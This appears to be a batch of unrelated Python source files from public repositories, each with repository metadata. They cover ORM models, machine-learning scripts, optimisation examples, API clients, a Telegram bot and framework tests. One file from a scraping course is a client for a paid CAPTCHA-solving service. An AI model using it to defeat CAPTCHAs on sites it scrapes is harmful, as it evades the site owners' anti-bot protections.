# -*- coding: utf-8 -*- "Document Stage" from trytond.model import ModelView, ModelSQL, fields from trytond.transaction import Transaction class DocumentTemplateStage(ModelSQL, ModelView): "Document Template" _name='ekd.document.template.stage' _description=__doc__ _order_name = "sequence" template = fields.Many2One('ekd.document.template', 'Template') name = fields.Char('Name', size=128) shortcut = fields.Char('ShortCut', size=32) sequence = fields.Integer('Sequence', help="Change with *10") date_start = fields.Date('Date Start') date_end = fields.Date('Date end') code_call = fields.Char('Code Call') active = fields.Boolean('Active') def default_active(self): return True DocumentTemplateStage() class Document(ModelSQL, ModelView): _name='ekd.document.template' stages = fields.One2Many('ekd.document.template.stage', 'template', 'Stages') Document() class Document(ModelSQL, ModelView): _name='ekd.document' stage = fields.Many2One('ekd.document.template.stage', 'Stage') Document()

[ "k-dmitry2@narod.ru" ]

k-dmitry2@narod.ru

17c0559b0457907a1e73225e13128fc0575b7451

53164813be4f539d65ef985da732d1890eb91693

/company/serializers.py

c7f078274e8118c7d9a997dd41d14a109aaeade3

[]

no_license

surajmondal1003/erp_tribeni

8ea3e19d3afcdeed6e0114de61ba086043d98303

1972e7a18853a30ac85c6fa0487fed9dbcef4381

refs/heads/master

2020-03-19T09:51:34.780672

2018-06-29T09:04:25

136,322,677

0

null

UTF-8

Python

false

2,474

py

from company.models import Company,TermsandConditon from states.models import State from rest_framework import serializers from rest_framework.serializers import ModelSerializer from rest_framework.validators import UniqueValidator class ChildrenSerializer(serializers.Serializer): def to_representation(self, value): serializer = self.parent.parent.__class__(value, context=self.context) return serializer.data class CompanySerializer(ModelSerializer): company_name = serializers.CharField( validators=[UniqueValidator(queryset=Company.objects.all())] ) created_by = serializers.HiddenField(default=serializers.CurrentUserDefault()) status=serializers.BooleanField(default=True) children=ChildrenSerializer(many=True, read_only=True) company_url = serializers.CharField(required=False, allow_blank=True) # Not mandatory field company_gst = serializers.CharField(required=False, allow_blank=True) # Not mandatory field company_pan = serializers.CharField(required=False, allow_blank=True) # Not mandatory field company_cin = serializers.CharField(required=False, allow_blank=True) # Not mandatory field company_email = serializers.EmailField(required=False, allow_blank=True) # Not mandatory field class Meta: model = Company fields = ['id','parent','company_name','company_url','company_gst','company_pan','company_cin','company_email', 'company_address','company_contact','company_state','company_city','company_pin','status','created_at', 'created_by','is_deleted','children'] class CompanyListSerializer(ModelSerializer): class Meta: model = Company fields = ['id','company_name'] class TermsAndConditionSerializer(ModelSerializer): created_by = serializers.HiddenField(default=serializers.CurrentUserDefault()) status = serializers.BooleanField(default=True) class Meta: model = TermsandConditon fields = ['id','company','term_type','term_text','status','created_at','created_by','is_deleted'] class TermsAndConditionReadSerializer(ModelSerializer): created_by = serializers.HiddenField(default=serializers.CurrentUserDefault()) status = serializers.BooleanField(default=True) company=CompanyListSerializer() class Meta: model = TermsandConditon fields = ['id','company','term_type','term_text','status','created_at','created_by','is_deleted']

[ "surajmondal1003@gmail.com" ]

surajmondal1003@gmail.com

a6abacfc9321ad09afffc9432695b4d237820cb0

f95d2646f8428cceed98681f8ed2407d4f044941

/AI/day03/ai01.py

63d018d7e9fa8009a76ae0d7321bc2a6daf4214c

[]

no_license

q2806060/python-note

014e1458dcfa896f2749c7ebce68b2bbe31a3bf8

fbe107d668b44b78ae0094dbcc7e8ff8a4f8c983

refs/heads/master

2020-08-18T01:12:31.227654

2019-10-17T07:40:40

215,731,114

1

0

null

UTF-8

Python

false

1,393

py

import sklearn.tree as st import sklearn.ensemble as se import numpy as np import sklearn.utils as su import sklearn.metrics as sm import matplotlib.pyplot as mp data = np.loadtxt('C:\\Users\\Administrator\\Desktop\\sucai\\ml_data\\bike_day.csv', delimiter=',', unpack=False, dtype='U20') # 获取输入集与输出集 header = data[0, 2:13] x = np.array(data[1:, 2:13], dtype=float) y = np.array(data[1:, -1], dtype=float) # 打乱数据集 x, y = su.shuffle(x, y, random_state=7) # 查分训练集，测试集 train_size = int(len(x) * 0.9) train_x, test_x, train_y, test_y = x[:train_size], x[train_size:], y[:train_size], y[train_size:] # 随机森林模型训练 model = se.RandomForestRegressor(max_depth=10, n_estimators=1000, min_samples_split=2) model.fit(train_x, train_y) pred_test_y = model.predict(test_x) # 使用r2得分验证预测结果 print(sm.r2_score(test_y, pred_test_y)) # 输出特征重要性 fi_day = model.feature_importances_ print(fi_day) print(header) # 绘制特征重要性柱状图 mp.figure('Bike', facecolor='lightgray') mp.subplot(211) mp.title('Day', fontsize=16) mp.ylabel("Imporeances", fontsize=12) mp.tick_params(labelsize=8) mp.grid(linestyle=':') pos = np.arange(fi_day.size) sorted_i = fi_day.argsort()[::-1] mp.xticks(pos, header[sorted_i]) mp.bar(pos, fi_day[sorted_i], color='dodgerblue', label='Bike_Day') mp.legend() mp.show()

[ "C8916BA958F57D5A740E38E94644A3F8@i-search.com.cn" ]

C8916BA958F57D5A740E38E94644A3F8@i-search.com.cn

ed34f5a1992dc92768d5c72071118192afc81a60

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/examples/test_dejong3.py

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cdeil/mystic

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#!/usr/bin/env python # # Author: Patrick Hung (patrickh @caltech) # Author: Mike McKerns (mmckerns @caltech and @uqfoundation) # Copyright (c) 1997-2014 California Institute of Technology. # License: 3-clause BSD. The full license text is available at: # - http://trac.mystic.cacr.caltech.edu/project/mystic/browser/mystic/LICENSE """ Sets up De Jong's Third function. This is problem 3 of testbed 1 in [1]. Note: The function as defined by Eq.8 of [1] seems incomplete. Reference: [1] Storn, R. and Price, K. Differential Evolution - A Simple and Efficient Heuristic for Global Optimization over Continuous Spaces. Journal of Global Optimization 11: 341-359, 1997. [2] Storn, R. and Proce, K. Same title as above, but as a technical report. try: http://www.icsi.berkeley.edu/~storn/deshort1.ps """ from mystic.solvers import DifferentialEvolutionSolver from mystic.termination import ChangeOverGeneration, VTR from mystic.models.dejong import step as DeJong3 import random random.seed(123) ND = 5 NP = 25 MAX_GENERATIONS = 2500 def main(): solver = DifferentialEvolutionSolver(ND, NP) solver.SetRandomInitialPoints(min = [-5.12]*ND, max = [5.12]*ND) solver.SetEvaluationLimits(generations=MAX_GENERATIONS) solver.Solve(DeJong3, termination=VTR(0.00001), \ CrossProbability=0.3, ScalingFactor=1.0) solution = solver.Solution() print solution if __name__ == '__main__': from timeit import Timer # optimize with DESolver t = Timer("main()", "from __main__ import main") timetaken = t.timeit(number=1) print "CPU Time: %s\n" % timetaken # optimize with fmin from mystic.solvers import fmin print fmin(DeJong3, [0 for i in range(ND)]) # end of file

[ "mmckerns@968178ea-60bd-409e-af13-df8a517b6005" ]

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/methylation/bicluster_analysis/run_hmf_mtf_store_matrices.py

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[]

no_license

rintukutum/HMF

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refs/heads/master

2020-04-04T10:17:11.722275

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""" Run the HMF D-MTF method on the methylation datasets, and store the expectation of the factor matrices F, Sn. """ import sys, os project_location = os.path.dirname(__file__)+"/../../../" sys.path.append(project_location) from HMF.code.models.hmf_Gibbs import HMF_Gibbs from HMF.methylation.load_methylation import filter_driver_genes_std import numpy ''' Settings HMF ''' iterations, burn_in, thinning = 200, 150, 2 # 1000, 800, 5 # indices_thinning = range(burn_in,iterations,thinning) settings = { 'priorF' : 'normal', 'priorSn' : ['normal','normal','normal'], 'orderF' : 'columns', 'orderSn' : ['rows','rows','rows'], 'ARD' : True, 'element_sparsity' : True, } hyperparameters = { 'alphatau' : 1, 'betatau' : 1, 'alpha0' : 0.001, 'beta0' : 0.001, 'alphaS' : 1., 'betaS' : 0.001, 'lambdaF' : 0.1, } init = { 'F' : 'kmeans', 'Sn' : 'least', 'lambdat' : 'exp', 'tau' : 'exp' } E = ['genes','samples'] K = {'genes':20, 'samples':20} alpha_n = [1., 1., 1.] # GE, PM, GM ''' Load in data ''' R_ge, R_pm, R_gm, genes, samples = filter_driver_genes_std() M_ge, M_pm, M_gm = numpy.ones(R_ge.shape), numpy.ones(R_pm.shape), numpy.ones(R_gm.shape) R = [ (R_ge, M_ge, 'genes', 'samples', alpha_n[0]), (R_pm, M_pm, 'genes', 'samples', alpha_n[1]), (R_gm, M_gm, 'genes', 'samples', alpha_n[1]), ] C, D = [], [] ''' Run the Gibbs sampler ''' HMF = HMF_Gibbs(R,C,D,K,settings,hyperparameters) HMF.initialise(init) HMF.run(iterations) ''' Store the mean of the matrices. ''' folder = project_location+'HMF/methylation/bicluster_analysis/matrices/' E_drugs, E_cell_lines = 'genes', 'samples' n_ge, n_pm, n_gm = 0, 1, 2 exp_F_genes = HMF.approx_expectation_Ft(E=E_drugs, burn_in=burn_in, thinning=thinning) exp_F_samples = HMF.approx_expectation_Ft(E=E_cell_lines, burn_in=burn_in, thinning=thinning) exp_S_ge = HMF.approx_expectation_Sn(n=n_ge, burn_in=burn_in, thinning=thinning) exp_S_pm = HMF.approx_expectation_Sn(n=n_pm, burn_in=burn_in, thinning=thinning) exp_S_gm = HMF.approx_expectation_Sn(n=n_gm, burn_in=burn_in, thinning=thinning) numpy.savetxt(fname=folder+'F_genes', X=exp_F_genes) numpy.savetxt(fname=folder+'F_samples', X=exp_F_samples) numpy.savetxt(fname=folder+'S_ge', X=exp_S_ge) numpy.savetxt(fname=folder+'S_pm', X=exp_S_pm) numpy.savetxt(fname=folder+'S_gm', X=exp_S_gm)

[ "tab43@cam.ac.uk" ]

tab43@cam.ac.uk

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/test/test_destiny_definitions_destiny_item_stat_block_definition.py

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[]

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roscroft/openapi3-swagger

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d1c659c7f301dcfee97ab30ba9db0f2506f4e95d

refs/heads/master

2021-06-27T13:20:53.767130

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0

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UTF-8

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py

# coding: utf-8 """ Bungie.Net API These endpoints constitute the functionality exposed by Bungie.net, both for more traditional website functionality and for connectivity to Bungie video games and their related functionality. OpenAPI spec version: 2.0.0 Contact: support@bungie.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import swagger_client from swagger_client.rest import ApiException from swagger_client.models.destiny_definitions_destiny_item_stat_block_definition import DestinyDefinitionsDestinyItemStatBlockDefinition class TestDestinyDefinitionsDestinyItemStatBlockDefinition(unittest.TestCase): """ DestinyDefinitionsDestinyItemStatBlockDefinition unit test stubs """ def setUp(self): pass def tearDown(self): pass def testDestinyDefinitionsDestinyItemStatBlockDefinition(self): """ Test DestinyDefinitionsDestinyItemStatBlockDefinition """ # FIXME: construct object with mandatory attributes with example values #model = swagger_client.models.destiny_definitions_destiny_item_stat_block_definition.DestinyDefinitionsDestinyItemStatBlockDefinition() pass if __name__ == '__main__': unittest.main()

[ "adherrling@gmail.com" ]

adherrling@gmail.com

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/ITcoach/爬虫课件/第五章：requests模块高级/CodeClass.py

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ww35133634/chenxusheng

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refs/heads/master

2022-11-12T03:46:47.953680

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AFL-3.0

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py

import http.client, mimetypes, urllib, json, time, requests ###################################################################### class YDMHttp: apiurl = 'http://api.yundama.com/api.php' username = '' password = '' appid = '' appkey = '' def __init__(self, username, password, appid, appkey): self.username = username self.password = password self.appid = str(appid) self.appkey = appkey def request(self, fields, files=[]): response = self.post_url(self.apiurl, fields, files) response = json.loads(response) return response def balance(self): data = {'method': 'balance', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey} response = self.request(data) if (response): if (response['ret'] and response['ret'] < 0): return response['ret'] else: return response['balance'] else: return -9001 def login(self): data = {'method': 'login', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey} response = self.request(data) if (response): if (response['ret'] and response['ret'] < 0): return response['ret'] else: return response['uid'] else: return -9001 def upload(self, filename, codetype, timeout): data = {'method': 'upload', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey, 'codetype': str(codetype), 'timeout': str(timeout)} file = {'file': filename} response = self.request(data, file) if (response): if (response['ret'] and response['ret'] < 0): return response['ret'] else: return response['cid'] else: return -9001 def result(self, cid): data = {'method': 'result', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey, 'cid': str(cid)} response = self.request(data) return response and response['text'] or '' def decode(self, filename, codetype, timeout): cid = self.upload(filename, codetype, timeout) if (cid > 0): for i in range(0, timeout): result = self.result(cid) if (result != ''): return cid, result else: time.sleep(1) return -3003, '' else: return cid, '' def report(self, cid): data = {'method': 'report', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey, 'cid': str(cid), 'flag': '0'} response = self.request(data) if (response): return response['ret'] else: return -9001 def post_url(self, url, fields, files=[]): for key in files: files[key] = open(files[key], 'rb'); res = requests.post(url, files=files, data=fields) return res.text

[ "82516351@qq.com" ]

82516351@qq.com

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/extensions/ban_my_self.py

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[]

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Xi-Plus/Ethics-Committee

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cd79dfc5b936b80ac8250f61261d45ad95a4fc55

refs/heads/master

2023-08-30T21:29:21.782947

2023-08-20T09:20:47

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7

2

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import re import time import telegram from Kamisu66 import EthicsCommitteeExtension class BanMySelf(EthicsCommitteeExtension): # pylint: disable=W0223 MODULE_NAME = 'ban_my_self' COMMAND = r'^/banmyself@Kamisu66EthicsCommitteeBot$' DURATION = 60 def __init__(self, enabled_chat_id): self.enabled_chat_id = enabled_chat_id def main(self, EC): update = EC.update if update.effective_chat.id not in self.enabled_chat_id: return if not update.message or not update.message.text: return if re.search(self.COMMAND, update.message.text): EC.bot.delete_message(update.effective_chat.id, update.message.message_id) chatMember = update.effective_chat.get_member(update.effective_user.id) if chatMember.status not in [chatMember.ADMINISTRATOR, chatMember.CREATOR]: try: until_date = until_date = int(time.time() + self.DURATION) EC.bot.ban_chat_member( chat_id=update.effective_chat.id, user_id=update.effective_user.id, until_date=until_date, ) except telegram.error.BadRequest as e: EC.log('[ban_my_self] restrict {} in {} failed: {}'.format( update.effective_user.id, update.effective_chat.id, e.message)) else: EC.log('[ban_my_self] skip restrict {} in {}'.format( update.effective_user.id, update.effective_chat.id)) def __mainclass__(): return BanMySelf

[ "huangxuanyuxiplus@gmail.com" ]

huangxuanyuxiplus@gmail.com

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[]

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shaunhaskey/pyMARS

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refs/heads/master

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import numpy as num import time, os, sys, string, re, csv, pickle import scipy.interpolate as interpolate from matplotlib.mlab import griddata ################ SET THESE BEFORE RUNNING!!!!######## project_dir = '/scratch/haskeysr/mars/project1_new_eq/' pickle_file_name = '9_project1_new_eq_COIL_upper_post_setup_new_low_beta2.pickle' #folders = 'RUNrfa_FEEDI-120.p RUNrfa_FEEDI-120.vac RUNrfa_FEEDI-240.p RUNrfa_FEEDI-240.vac RUNrfa_FEEDI-60.p RUNrfa_FEEDI-60.vac' folders = 'OUTRMAR OUTVMAR' ################################## #Open previous data structure pickle_file = open(pickle_file_name,'r') project_dict = pickle.load(pickle_file) pickle_file.close() total = len(project_dict['sims'].keys()) count = 0 fails = 0 for current in project_dict['sims'].keys(): original_chease_dir = project_dict['sims'][current]['dir_dict']['chease_dir'] chease_pest_dir = original_chease_dir[:-1]+'_PEST/' print chease_pest_dir try: os.chdir(chease_pest_dir) string_command = 'rm '+ folders os.system(string_command) except: fails += 1 print 'dir not found' print 'finished %d of %d,fails %d'%(count,total,fails) count += 1

[ "shaunhaskey@gmail.com" ]

shaunhaskey@gmail.com

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/permission.py

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[]

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culibraries/ark-django-app

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355527ce36770c0d27dcf6c524154ac45b9d6e83

refs/heads/main

2023-02-24T05:08:12.421615

2020-09-21T20:34:41

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from rest_framework import permissions from django.contrib.contenttypes.models import ContentType from django.contrib.auth.models import Permission class arkPermission(permissions.BasePermission): def has_permission(self, request, view): if request.method in permissions.SAFE_METHODS: return True else: if request.user and request.user.groups.filter(name='ark-admin'): return True return False

[ "mbstacy@gmail.com" ]

mbstacy@gmail.com

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/scripts/disp_client.py

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[]

no_license

mrmh2/scaleca

ae2d1ada7b8ea423d2c1e1b44787d31347d5bfbd

4374dc5e6d09eeb4ce3ceea51a0a9e7b50dabbfe

refs/heads/master

2021-03-12T22:48:26.945721

2013-08-27T14:24:19

null

0

null

UTF-8

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py

#!/usr/bin/env python """disp_client.py - simple text display client. Connects to server, then constructs simple update loop which sends a command to the server to run a simulation timestep, then displays the results.""" import os import sys import zmq import numpy as np def setup(): parent, cdir = os.path.split(os.path.dirname(__file__)) sys.path.append(parent) from scaleca.disp_simple import CADisplay globals()['CADisplay'] = CADisplay def connect_to_server(port): context = zmq.Context() #print "Connecting to server..." socket = context.socket(zmq.REQ) socket.connect("tcp://localhost:%s" % port) return socket def string_state_to_array(sstate, shape): c_sep = ','.join(sstate) one_d = np.fromstring(c_sep, dtype=np.uint8, sep=',') return one_d.reshape(shape) def unpack_string_rep(sstate): dim, astring = sstate.split(':') shape = map(int, dim.split(',')) astate = string_state_to_array(astring, shape) return astate def make_update_loop(socket): def update_loop(): socket.send('RUN') message = socket.recv() return unpack_string_rep(message) return update_loop def main(): setup() port = "5556" socket = connect_to_server(port) ul = make_update_loop(socket) display = CADisplay() display.run_display(ul) if __name__ == '__main__': main()

[ "mhartley@cantab.net" ]

mhartley@cantab.net

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/django-stubs/conf/urls/i18n.pyi

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debuggerpk/django-stubs

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refs/heads/master

2020-04-04T08:33:52.358704

2018-09-26T19:32:19

null

0

null

UTF-8

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false

350

pyi

from typing import Any, List, Optional, Tuple, Union from django.urls.resolvers import URLPattern, URLResolver def i18n_patterns( *urls: Any, prefix_default_language: bool = ... ) -> Union[List[List[Any]], List[URLPattern], List[URLResolver]]: ... def is_language_prefix_patterns_used(urlconf: str) -> Tuple[bool, bool]: ... urlpatterns: Any

[ "maxim.kurnikov@gmail.com" ]

maxim.kurnikov@gmail.com

591625010b059b7a1ee63a7bc597dfa5a0166c26

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p02733/s001901229.py

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[]

no_license

Aasthaengg/IBMdataset

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refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

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0

null

UTF-8

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import math #import numpy as np import queue from collections import deque,defaultdict import heapq as hpq import itertools from sys import stdin,setrecursionlimit #from scipy.sparse.csgraph import dijkstra #from scipy.sparse import csr_matrix ipt = stdin.readline setrecursionlimit(10**7) def main(): h,w,k = map(int,ipt().split()) s = [list(map(int,list(input()))) for _ in [0]*h] ''' sms = [[0]*w for _ in [0]*h] for i in range(w): for j in range(h): sms[j][i] = sms[j-1][i]+s[j][i] print(i) ''' cmi = 10**18 for i in range(2**(h-1)): pos = [0]*h for j in range(h-1): if (i >> j) & 1: pos[j+1] = pos[j]+1 else: pos[j+1] = pos[j] cmii = pos[-1] si = [0]*h for jj in range(h): si[pos[jj]] += s[jj][0] if max(si) > k: continue f = True for j in range(1,w): if f: for ii in range(h): if si[pos[ii]]+s[ii][j] > k: cmii += 1 si = [0]*h for jj in range(h): si[pos[jj]] += s[jj][j] if max(si) > k: f = False break else: si[pos[ii]]+=s[ii][j] if f and cmii < cmi: cmi = cmii print(cmi) return if __name__ == '__main__': main()

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66529651+Aastha2104@users.noreply.github.com

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/froide/team/admin.py

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[ "MIT" ]

permissive

lanmarc77/froide

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refs/heads/main

2023-03-17T03:02:01.277465

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MIT

2021-03-06T16:13:09

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from django.contrib import admin from .models import Team, TeamMembership class TeamMembershipInline(admin.StackedInline): model = TeamMembership raw_id_fields = ('user', 'team',) class TeamAdmin(admin.ModelAdmin): list_display = ('name', 'created', 'member_count') inlines = [TeamMembershipInline] admin.site.register(Team, TeamAdmin)

[ "mail@stefanwehrmeyer.com" ]

mail@stefanwehrmeyer.com

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[]

no_license

n1k0din/bitly

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refs/heads/main

2023-04-03T11:27:25.676797

2021-04-14T00:03:27

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import argparse import os from urllib.parse import urlparse import requests from dotenv import load_dotenv BITLY_API_URL = 'https://api-ssl.bitly.com/v4' def create_argument_parser(): parser = argparse.ArgumentParser(description='Сокращает ссылку или выдает \ количество кликов по битлинку') parser.add_argument('url', help='URL для обработки') return parser def create_auth_headers(token): return {'Authorization': f'Bearer {token}'} def remove_scheme_from_url(url): parsed = urlparse(url) return parsed._replace(scheme='').geturl() def is_bitlink(token, url): headers = create_auth_headers(token) stripped_url = remove_scheme_from_url(url) bitlink_info_method = f'/bitlinks/{stripped_url}' bitlink_info_url = f'{BITLY_API_URL}{bitlink_info_method}' response = requests.get(bitlink_info_url, headers=headers) return response.ok def shorten_link(token, url): headers = create_auth_headers(token) shorten_method = '/shorten' shorten_url = f'{BITLY_API_URL}{shorten_method}' payload = {'long_url': url} response = requests.post(shorten_url, headers=headers, json=payload) response.raise_for_status() return response.json()['link'] def count_clicks(token, bitlink): headers = create_auth_headers(token) stripped_url = remove_scheme_from_url(bitlink) count_clicks_method = f'/bitlinks/{stripped_url}/clicks/summary' count_clicks_url = f'{BITLY_API_URL}{count_clicks_method}' params = {'units': -1} response = requests.get(count_clicks_url, headers=headers, params=params) response.raise_for_status() return response.json()['total_clicks'] def process_url(token, url): if is_bitlink(token, url): try: clicks_amount = count_clicks(token, url) except requests.exceptions.HTTPError: return 'Кажется, нет такой ссылки' return f'Количество кликов: {clicks_amount}' try: bitlink = shorten_link(token, url) except requests.exceptions.HTTPError as e: return f'{e}\nНе удалось получить сокращенную ссылку, проверьте ввод' return f'{bitlink}' def main(): load_dotenv() bitly_token = os.getenv('BITLY_TOKEN') arg_parser = create_argument_parser() user_link = arg_parser.parse_args().url print(process_url(bitly_token, user_link)) if __name__ == '__main__': main()

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# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys sys.path.append('../') from auto_scan_test import AutoScanTest, IgnoreReasons from program_config import TensorConfig, ProgramConfig, OpConfig, CxxConfig, TargetType, PrecisionType, DataLayoutType, Place import unittest import hypothesis from hypothesis import given, settings, seed, example, assume import hypothesis.strategies as st from functools import partial import numpy as np import argparse class TestReduceMeanOp(AutoScanTest): def __init__(self, *args, **kwargs): AutoScanTest.__init__(self, *args, **kwargs) self.enable_testing_on_place(TargetType.X86, PrecisionType.FP32, DataLayoutType.NCHW) self.enable_testing_on_place( TargetType.ARM, PrecisionType.FP32, DataLayoutType.NCHW, thread=[1, 4]) opencl_places = [ Place(TargetType.OpenCL, PrecisionType.FP16, DataLayoutType.ImageDefault), Place( TargetType.OpenCL, PrecisionType.FP16, DataLayoutType.ImageFolder), Place(TargetType.OpenCL, PrecisionType.FP32, DataLayoutType.NCHW), Place(TargetType.OpenCL, PrecisionType.Any, DataLayoutType.ImageDefault), Place( TargetType.OpenCL, PrecisionType.Any, DataLayoutType.ImageFolder), Place(TargetType.OpenCL, PrecisionType.Any, DataLayoutType.NCHW), Place(TargetType.Host, PrecisionType.FP32) ] self.enable_testing_on_place(places=opencl_places) self.enable_testing_on_place(TargetType.NNAdapter, PrecisionType.FP32) self.enable_devices_on_nnadapter(device_names=[ "cambricon_mlu", "intel_openvino", "kunlunxin_xtcl" ]) def is_program_valid(self, program_config: ProgramConfig, predictor_config: CxxConfig) -> bool: return True def sample_program_configs(self, draw): in_shape = draw( st.lists( st.integers( min_value=1, max_value=10), min_size=4, max_size=4)) keep_dim = draw(st.booleans()) axis_list = draw( st.sampled_from([[0], [1], [2], [3], [0, 1], [1, 2], [2, 3]])) reduce_all_data = True if axis_list == None or axis_list == [] else False def generate_input(*args, **kwargs): return np.random.random(in_shape).astype(np.float32) build_ops = OpConfig( type="reduce_mean", inputs={"X": ["input_data"], }, outputs={"Out": ["output_data"], }, attrs={ "dim": axis_list, "keep_dim": keep_dim, "reduce_all": reduce_all_data, }) program_config = ProgramConfig( ops=[build_ops], weights={}, inputs={ "input_data": TensorConfig(data_gen=partial(generate_input)), }, outputs=["output_data"]) return program_config def sample_predictor_configs(self): return self.get_predictor_configs(), ["reduce_mean"], (1e-2, 1e-2) def add_ignore_pass_case(self): def _teller1(program_config, predictor_config): target_type = predictor_config.target() in_shape = list(program_config.inputs["input_data"].shape) axis = program_config.ops[0].attrs["dim"] if target_type == TargetType.OpenCL: if len(axis) == 1 and len(in_shape) == 4: return True self.add_ignore_check_case( _teller1, IgnoreReasons.ACCURACY_ERROR, "The op output has diff in a specific case on opencl. We need to fix it as soon as possible." ) def _teller3(program_config, predictor_config): target_type = predictor_config.target() if target_type == TargetType.OpenCL: return True self.add_ignore_check_case(_teller3, IgnoreReasons.PADDLELITE_NOT_SUPPORT, "Expected kernel_type false.") def test(self, *args, **kwargs): self.run_and_statis(quant=False, max_examples=100) if __name__ == "__main__": unittest.main(argv=[''])

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specific_include_rules = { "chrome_file_helper\.cc": [ "+ash/wm/window_util.h", ], "chrome_file_helper_unittest\.cc": [ "+ash/wm/window_util.h", ], }

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# -*- coding: utf-8 -*- import numpy as np import pandas as pd names = ['date', 'time', 'opening_price', 'ceiling_price', 'floor_price', 'closing_price', 'volume', 'amount'] raw = pd.read_csv('SH600690.csv', names = names, header = None, index_col='date', parse_dates=True) print raw.head() print ''' # 根据涨跌幅判断数据是否有效 def _valid_price(prices): return (((prices.max() - prices.min()) / prices.min()) < 0.223).all() # 按日期分组 days = raw.groupby(level = 0).agg( {'opening_price':lambda prices: _valid_price(prices) and prices[0] or 0, 'ceiling_price':lambda prices: _valid_price(prices) and np.max(prices) or 0, 'floor_price':lambda prices: _valid_price(prices) and np.min(prices) or 0, 'closing_price':lambda prices: _valid_price(prices) and prices[-1] or 0, 'volume':'sum', 'amount':'sum'}) print days.head() print # 缺少数据处理，因为周末没有交易。 start = days.iloc[0:1].index.tolist()[0] end = days.iloc[-2:-1].index.tolist()[0] new_idx = pd.date_range(start = start, end = end) print new_idx data = days.reindex(new_idx) # 重新索引 zero_values = data.loc[~(data.volume > 0)].loc[:, ['volume', 'amount']] data.update(zero_values.fillna(0)) # 交易量和金额填0 data.fillna(method = 'ffill', inplace = True) # 价格用前一天的填充 print data.head() print # 计算30各自然日里的股票平均波动周率 def gen_item_group_index(total, group_len): group_count = total / group_len group_index = np.arange(total) for i in xrange(group_count): group_index[i * group_len: (i+ 1) * group_len] = i group_index[(i + 1) * group_len:] = i +1 return group_index.tolist() period = 30 group_index = gen_item_group_index(len(data), period) data['group_index'] = group_index print data.head().append(data.tail()) # 为负表示先出现最高价再出现最低价，即下跌波动。 def _ceiling_price(prices): return prices.idxmin() < prices.idxmax() and np.max(prices) or (-np.max(prices)) group = data.groupby('group_index').agg( {'volume': 'sum', 'floor_price': 'min', 'ceiling_price': _ceiling_price}) print group.head() date_col = pd.DataFrame({'group_index': group_index, 'date': new_idx}) print date_col group['date'] = date_col.groupby('group_index').agg('first') # 为每个索引添加开始日期 print group.head() group['ripples_ratio'] = group.ceiling_price / group.floor_price # 计算并添加波动率 print group.head() print # 波动率排序 ripples = group.sort_values('ripples_ratio', ascending = False) print ripples print ripples.head(10).ripples_ratio.mean() print ripples.tail(10).ripples_ratio.mean() print # 计算涨跌幅 rise = data.closing_price.diff() data['rise'] = rise print data.head() '''

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#!/usr/bin/env python import sys def get_ccp4_commands(lines_of_input): '''Get the commands which were sent to a CCP4 program.''' # first look through for hklin / hklout logicals = { } for line in lines_of_input: if 'Logical Name:' in line: token = line.split(':')[1].split()[0] value = line.split(':')[-1].strip() logicals[token] = value # then look for standard input commands script = [] for line in lines_of_input: if 'Data line---' in line: script.append(line.replace('Data line---', '').strip()) return script, logicals if __name__ == '__main__': if len(sys.argv) != 2: raise RuntimeError, '%s ccp4_program.log' % sys.argv[0] script, logicals = get_ccp4_commands(open(sys.argv[1], 'r').readlines()) for token in logicals.keys(): print token, logicals[token] for line in script: print line

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# python ./exps/vis/test.py import os, sys, random from pathlib import Path import torch import numpy as np from collections import OrderedDict lib_dir = (Path(__file__).parent / '..' / '..' / 'lib').resolve() if str(lib_dir) not in sys.path: sys.path.insert(0, str(lib_dir)) from graphviz import Digraph def test_nas_api(): from nas_102_api import ArchResults xdata = torch.load('/home/dxy/FOR-RELEASE/NAS-Projects/output/NAS-BENCH-102-4/simplifies/architectures/000157-FULL.pth') for key in ['full', 'less']: print ('\n------------------------- {:} -------------------------'.format(key)) archRes = ArchResults.create_from_state_dict(xdata[key]) print(archRes) print(archRes.arch_idx_str()) print(archRes.get_dataset_names()) print(archRes.get_comput_costs('cifar10-valid')) # get the metrics print(archRes.get_metrics('cifar10-valid', 'x-valid', None, False)) print(archRes.get_metrics('cifar10-valid', 'x-valid', None, True)) print(archRes.query('cifar10-valid', 777)) OPS = ['skip-connect', 'conv-1x1', 'conv-3x3', 'pool-3x3'] COLORS = ['chartreuse' , 'cyan' , 'navyblue', 'chocolate1'] def plot(filename): g = Digraph( format='png', edge_attr=dict(fontsize='20', fontname="times"), node_attr=dict(style='filled', shape='rect', align='center', fontsize='20', height='0.5', width='0.5', penwidth='2', fontname="times"), engine='dot') g.body.extend(['rankdir=LR']) steps = 5 for i in range(0, steps): if i == 0: g.node(str(i), fillcolor='darkseagreen2') elif i+1 == steps: g.node(str(i), fillcolor='palegoldenrod') else: g.node(str(i), fillcolor='lightblue') for i in range(1, steps): for xin in range(i): op_i = random.randint(0, len(OPS)-1) #g.edge(str(xin), str(i), label=OPS[op_i], fillcolor=COLORS[op_i]) g.edge(str(xin), str(i), label=OPS[op_i], color=COLORS[op_i], fillcolor=COLORS[op_i]) #import pdb; pdb.set_trace() g.render(filename, cleanup=True, view=False) if __name__ == '__main__': test_nas_api() for i in range(200): plot('{:04d}'.format(i))

